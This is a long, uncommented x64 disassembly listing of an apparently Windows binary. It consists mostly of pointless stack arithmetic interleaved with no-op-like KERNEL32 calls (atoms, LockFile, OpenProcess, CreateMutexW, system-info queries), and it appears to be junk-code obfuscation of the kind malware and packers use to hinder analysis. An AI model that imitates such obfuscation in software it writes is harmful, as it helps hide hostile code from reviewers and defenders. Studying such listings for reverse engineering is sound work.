mov rax, qword [rsp + 0x13370]
mov rcx, qword [rsp + 0x14c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa87c], eax
lea rax, [0x140363b44]
mov qword [rsp + 0x14ea0], rax
mov rax, qword [rsp + 0x13be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7e54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6af8], eax
mov rax, qword [rsp + 0x13c38]
mov ecx, dword [rsp + 0x7c34]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8840]
mov dword [rsp + 0xadd8], eax
lea rcx, str.pvQNnwX_A7p1sW_fAdqYj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c14], ax
movsx eax, byte [rsp + 0x6dc]
movsx ecx, byte [rsp + 0x6e1]
add eax, ecx
mov byte [rsp + 0x400], al
mov rax, qword [rsp + 0x14000]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x141b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2344], ax
movzx eax, byte [rsp + 0x464]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x704], al
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x299c]
mov qword [0x140363df8], rax
mov eax, dword [rsp + 0xa87c]
mov ecx, dword [rsp + 0xa8b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14278]
mov dword [rcx], eax
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x14ea8], rax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14428]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6e7]
mov byte [rsp + 0x709], al
mov rax, qword [rsp + 0x139f0]
mov eax, dword [rax]
mov rcx, qword [0x1403639d0]
mov qword [rsp + 0x14eb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14eb0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7a24]
mov ecx, dword [rsp + 0x9134]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xad6c], eax
lea rax, [rsp + 0xad28]
mov qword [rsp + 0x14eb8], rax
mov rax, qword [0x140363ac8]
mov ecx, dword [rsp + 0xad9c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x705]
mov rcx, qword [rsp + 0x14e88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14035e502], al
movzx eax, word [rsp + 0x2b20]
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x14cb0]
mov eax, dword [rax]
mov ecx, dword [0x140363b0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ff0], eax
movsx eax, word [0x140353b08]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov rcx, qword [rsp + 0x143d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6c2]
mov rcx, qword [rsp + 0x14618]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
lea rax, [rsp + 0x29d0]
mov qword [rsp + 0x14ec0], rax
mov r9d, 2
lea r8, [rsp + 0x14328]
mov rdx, qword [rsp + 0x14a08]
mov rcx, qword [rsp + 0x14918]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac8c], eax
mov rax, qword [0x140363d38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ab8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ec], al
mov eax, dword [rsp + 0x99e8]
mov dword [rsp + 0xaddc], eax
lea rcx, [rsp + 0x41dd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xa950]
mov qword [0x140363e00], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
mov rax, qword [rsp + 0x14538]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x139a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaba0], eax
mov rax, qword [rsp + 0x14c60]
mov rcx, qword [rsp + 0x146f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa314], eax
lea rdx, [rsp + 0x45e70]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad54], eax
movzx eax, word [0x140362c44]
mov rcx, qword [rsp + 0x14bb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14580]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2a6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2aac], ax
lea rax, [rsp + 0x119]
mov qword [rsp + 0x14ec8], rax
mov eax, dword [rsp + 0xacc4]
mov rcx, qword [rsp + 0x148a0]
mov qword [rsp + 0x14ed0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6d90], eax
mov rax, qword [rsp + 0x14c80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7a10]
shl eax, cl
mov rcx, qword [rsp + 0x13a78]
mov dword [rcx], eax
lea rax, [rsp + 0x9370]
mov qword [rsp + 0x14ed8], rax
mov rax, qword [0x140363b58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639a0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x14ce0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14b98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x70a], al
movsx eax, byte [rsp + 0x9f]
mov rcx, qword [rsp + 0x14d60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14340]
mov byte [rcx], al
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2c1c], ax
movzx ecx, word [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x14078]
mov rcx, qword [rsp + 0x14128]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xacf4], eax
mov rax, qword [rsp + 0x14d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ff8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x309]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov byte [rsp + 0x53b], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [0x140363b98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1308], ax
mov rax, qword [rsp + 0x14a48]
mov ecx, dword [rsp + 0x7078]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cc50], eax
lea rax, [rsp + 0xada4]
mov qword [rsp + 0x14ee0], rax
mov r9d, 0x72a
xor r8d, r8d
lea rdx, [rsp + 0x13580]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xabf4], eax
mov rax, qword [rsp + 0x14198]
mov rcx, qword [0x140363b60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bb8]
mov rcx, qword [rsp + 0x14bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
lea rax, [rsp + 0x25c8]
mov qword [rsp + 0x14ee8], rax
movzx eax, byte [rsp + 0x6e3]
movzx ecx, byte [0x1403535a2]
add eax, ecx
mov byte [rsp + 0x708], al
mov eax, dword [rsp + 0x9d18]
mov dword [rsp + 0xade0], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa900]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8e8], eax
mov rax, qword [0x140363c18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f90]
mov qword [rsp + 0x14ef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ef0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14148]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xab08]
sar eax, cl
mov rcx, qword [0x140363c68]
mov dword [rcx], eax
lea rax, [rsp + 0xab08]
mov qword [rsp + 0x14ef8], rax
movsx eax, word [0x140362bf4]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14960]
mov word [rcx], ax
lea rax, [rsp + 0x6bf]
mov qword [rsp + 0x14f00], rax
movzx eax, byte [rsp + 0x4f6]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x700], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0x14b90]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14478]
mov word [rcx], ax
mov rax, qword [rsp + 0x142b0]
mov rcx, qword [rsp + 0x13320]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8764], eax
mov dword [rsp + 0x20], 0x314c
mov r9d, 0x3d67
mov r8d, 0xf74
mov edx, 0x1064
mov rcx, qword [rsp + 0x14918]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xade4], eax
mov rax, qword [rsp + 0x137e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa58], eax
lea rcx, [rsp + 0x41d78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x14f08], rax
lea rax, [rsp + 0x6f4]
mov qword [0x140363e08], rax
mov rax, qword [rsp + 0x13b68]
mov rcx, qword [rsp + 0x14280]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xada8], eax
lea rax, [rsp + 0x8f8c]
mov qword [rsp + 0x14f10], rax
mov rax, qword [rsp + 0x13ed8]
mov rcx, qword [rsp + 0x13960]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa980], eax
mov eax, dword [rsp + 0xab64]
mov ecx, dword [rsp + 0xa9c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa20], eax
movzx eax, byte [rsp + 0x22a]
mov byte [rsp + 0x70b], al
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2518]
sub eax, ecx
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
lea rax, [rsp + 0xaa70]
mov qword [rsp + 0x14f18], rax
mov rax, qword [rsp + 0x136f8]
mov ecx, dword [rsp + 0xab2c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
lea rax, [rsp + 0x2ab4]
mov qword [0x140363e10], rax
movsx eax, byte [rsp + 0x6dc]
mov rcx, qword [rsp + 0x14e18]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x9f], al
lea rax, [0x140353576]
mov qword [rsp + 0x14f20], rax
movzx eax, word [rsp + 0x2a88]
movzx ecx, word [rsp + 0x11c0]
or eax, ecx
mov word [rsp + 0x2ac4], ax
lea rax, [rsp + 0xaaf4]
mov qword [rsp + 0x14f28], rax
mov rax, qword [0x140363dc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x70c0]
shr eax, cl
mov dword [rsp + 0xace0], eax
mov eax, dword [rsp + 0xaa3c]
mov rcx, qword [rsp + 0x13d10]
mov qword [rsp + 0x14f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14288]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x11d2
mov r9d, 0x39ff
mov r8d, 0x30e1
mov edx, 0xea
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x14db0]
mov eax, dword [rax]
mov dword [rsp + 0xade8], eax
movzx ecx, word [rsp + 0x2ba8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c24], ax
mov eax, dword [0x1403639b8]
mov ecx, dword [rsp + 0xa350]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c98]
mov dword [rcx], eax
lea rax, [rsp + 0x594]
mov qword [rsp + 0x14f38], rax
mov r9d, 0xe58
xor r8d, r8d
lea rdx, [rsp + 0x13bc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xace4], eax
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2098]
and eax, ecx
mov word [0x14035cbe4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0xaa78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x70c0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14f40], rax
mov rax, qword [rsp + 0x14a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad90]
mov ecx, dword [rsp + 0x7b30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d8c], eax
mov rax, qword [rsp + 0x13ca0]
mov ecx, dword [rsp + 0xad3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14068]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x29d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b10], ax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
mov byte [rsp + 0x70c], al
movzx eax, word [rsp + 0x2ab8]
mov rcx, qword [0x140363bc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ba0], ax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x707]
mov qword [rsp + 0x14f48], rax
mov rax, qword [rsp + 0x149f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a64]
add eax, ecx
mov word [rsp + 0x1410], ax
movzx ecx, word [rsp + 0x2ba8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x14bc8]
mov ecx, dword [0x140363bf8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363b50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b8]
sub eax, ecx
mov word [rsp + 0x189c], ax
mov rax, qword [rsp + 0x140a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x708]
sub eax, ecx
mov rcx, qword [rsp + 0x13788]
mov byte [rcx], al
lea rax, [rsp + 0xaa7c]
mov qword [rsp + 0x14f50], rax
mov eax, dword [rsp + 0x7438]
mov ecx, dword [rsp + 0x898c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xadb4], eax
mov rax, qword [rsp + 0x14628]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13c80]
mov qword [rsp + 0x14f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9500], eax
mov eax, dword [rsp + 0xad58]
mov dword [rsp + 0xadec], eax
mov rax, qword [rsp + 0x14180]
movzx eax, byte [rax]
mov rcx, qword [0x140363a10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6ce], al
movzx eax, word [rsp + 0x19f8]
mov word [0x140362f3c], ax
lea rax, [rsp + 0xaa54]
mov qword [rsp + 0x14f60], rax
mov eax, dword [rsp + 0xadb0]
mov ecx, dword [rsp + 0xaaa0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa854], eax
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x140363c28]
mov ecx, dword [rsp + 0xac7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa95c], eax
mov eax, dword [rsp + 0x841c]
mov ecx, dword [rsp + 0xac0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ab0], eax
mov eax, dword [rsp + 0x8958]
mov ecx, dword [str.__M6_f]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa73c], eax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x70d], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b18]
add eax, ecx
mov word [rsp + 0x2544], ax
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x14f68], rax
mov r9d, 2
lea r8, [rsp + 0x14818]
mov rdx, qword [rsp + 0x144e0]
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa934], eax
movzx eax, byte [rsp + 0x6e4]
movzx ecx, byte [rsp + 0x6be]
or eax, ecx
mov byte [0x1403535a6], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14f70], rax
mov eax, dword [rsp + 0xac3c]
mov ecx, dword [rsp + 0xa8a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad3c], eax
mov rax, qword [rsp + 0x13ac8]
mov eax, dword [rax]
mov ecx, dword [0x140363b0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab98], eax
lea rax, [rsp + 0x6e7]
mov qword [rsp + 0x14f78], rax
movzx eax, word [rsp + 0x19d8]
movzx ecx, word [rsp + 0x2af0]
add eax, ecx
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
lea rax, [0x14035cbdc]
mov qword [rsp + 0x14f80], rax
mov eax, dword [rsp + 0x6e3c]
mov ecx, dword [rsp + 0xa8a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ea0], eax
mov rax, qword [rsp + 0x14eb8]
mov ecx, dword [0x14035cc3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d60], eax
mov rax, qword [rsp + 0x14500]
mov eax, dword [rax]
mov dword [rsp + 0xadf0], eax
movzx eax, word [rsp + 0x1778]
mov rcx, qword [rsp + 0x14290]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140363b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x708]
sar eax, cl
mov rcx, qword [rsp + 0x137b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13790]
mov qword [rsp + 0x14f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14f88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62c0], eax
mov rax, qword [rsp + 0x136f0]
mov ecx, dword [rsp + 0xa8c8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa58], eax
movsx eax, word [0x14035cc20]
mov rcx, qword [rsp + 0x13428]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13bc8]
mov word [rcx], ax
lea rax, [rsp + 0x6bf]
mov qword [rsp + 0x14f90], rax
movzx eax, word [rsp + 0x12b8]
movzx ecx, word [rsp + 0x2014]
sub eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x328]
mov byte [rsp + 0x70e], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x13898]
mov ecx, dword [rsp + 0xac9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa20], eax
lea rax, [rsp + 0xab74]
mov qword [0x140363e18], rax
mov eax, dword [rsp + 0x6554]
mov ecx, dword [rsp + 0xa90c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x66f8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x145d8]
mov rcx, qword [rsp + 0x14e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6960], eax
mov eax, dword [rsp + 0xa900]
mov ecx, dword [rsp + 0xa9b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
lea rax, [rsp + 0x29b4]
mov qword [rsp + 0x14f98], rax
mov rax, qword [rsp + 0x138e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
add eax, ecx
mov byte [rsp + 0x61c], al
mov eax, dword [rsp + 0xab1c]
mov dword [rsp + 0xadf4], eax
mov rax, qword [rsp + 0x14480]
mov eax, dword [rax]
mov ecx, dword [0x140363b80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13908]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa48], eax
mov eax, dword [0x14035cbdc]
mov ecx, dword [rsp + 0x8ce0]
add ecx, eax
mov eax, ecx
mov dword [0x140363b08], eax
lea rax, [rsp + 0x1de8]
mov qword [rsp + 0x14fa0], rax
movzx eax, byte [rsp + 0x6f7]
movzx ecx, byte [rsp + 0x6e9]
xor eax, ecx
mov rcx, qword [rsp + 0x14938]
mov byte [rcx], al
lea rax, [rsp + 0x6b6]
mov qword [rsp + 0x14fa8], rax
movsx eax, word [0x140362d84]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14d38]
mov word [rcx], ax
mov eax, dword [rsp + 0xa868]
mov rcx, qword [rsp + 0x13f80]
mov qword [rsp + 0x14fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xab28], eax
mov rax, qword [rsp + 0x13fc0]
mov eax, dword [rax]
mov dword [rsp + 0xadf8], eax
movzx eax, byte [rsp + 0x6ec]
mov rcx, qword [rsp + 0x14a70]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x61c], al
lea rax, [rsp + 0x29cc]
mov qword [rsp + 0x14fb8], rax
mov rax, qword [rsp + 0x14e50]
mov rcx, qword [rsp + 0x13ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140363cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xaa64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa91c], eax
mov rax, qword [rsp + 0x13e38]
mov ecx, dword [rsp + 0xadd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14800]
mov dword [rcx], eax
lea rdx, [rsp + 0x14fc0]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac28], eax
mov rax, qword [0x140363d98]
mov ecx, dword [rsp + 0x7bf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a24], eax
mov rax, qword [rsp + 0x14e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29b8]
and eax, ecx
mov rcx, qword [rsp + 0x14d08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x70f], al
mov rax, qword [rsp + 0x14320]
mov eax, dword [rax]
mov ecx, dword [0x140363b84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14050]
mov dword [rcx], eax
mov r9d, 0xe73
xor r8d, r8d
lea rdx, [rsp + 0x14e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad78], eax
lea rax, [rsp + 0x8f8c]
mov qword [rsp + 0x14fc8], rax
mov rax, qword [0x140363ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
lea rax, [rsp + 0xabc4]
mov qword [0x140363e20], rax
mov rax, qword [rsp + 0x14d30]
mov rcx, qword [rsp + 0x13760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa81c], eax
movsx eax, byte [rsp + 0x6fb]
movsx ecx, byte [0x14035e48f]
sub eax, ecx
mov byte [rsp + 0x137], al
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2474]
add eax, ecx
mov rcx, qword [rsp + 0x14390]
mov word [rcx], ax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0x14fd0], rax
mov rax, qword [rsp + 0x14ee8]
movzx eax, word [rax]
mov rcx, qword [0x140363c60]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14bb0]
mov word [rcx], ax
mov eax, dword [rsp + 0xac60]
mov rcx, qword [rsp + 0x13a10]
mov qword [rsp + 0x14fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fd8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xaaf0], eax
mov eax, dword [rsp + 0xa7d8]
mov dword [rsp + 0xadfc], eax
mov rax, qword [rsp + 0x141e8]
movzx eax, byte [rax]
mov rcx, qword [0x140363c10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x138b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a80]
mov rcx, qword [rsp + 0x14e00]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140363b20]
mov word [rcx], ax
lea rax, [rsp + 0x7118]
mov qword [rsp + 0x14fe0], rax
mov rax, qword [rsp + 0x14320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13550]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa184], eax
lea rax, [rsp + 0xaafc]
mov qword [rsp + 0x14fe8], rax
mov rcx, qword [rsp + 0x14e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x140363aa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x436]
add eax, ecx
mov byte [rsp + 0x58b], al
mov rax, qword [rsp + 0x14e98]
movzx eax, word [rax]
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0x13910]
mov ecx, dword [rsp + 0xa9d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x81a0], eax
mov rax, qword [rsp + 0x13c88]
mov rcx, qword [rsp + 0x13cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d8], eax
lea rcx, [rsp + 0x41e08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x2a5c]
mov qword [0x140363e28], rax
mov rax, qword [rsp + 0x14e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e1]
sub eax, ecx
mov byte [rsp + 0x209], al
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56b]
and eax, ecx
mov byte [rsp + 0x703], al
mov r9d, 0x38b
xor r8d, r8d
lea rdx, [rsp + 0x14e28]
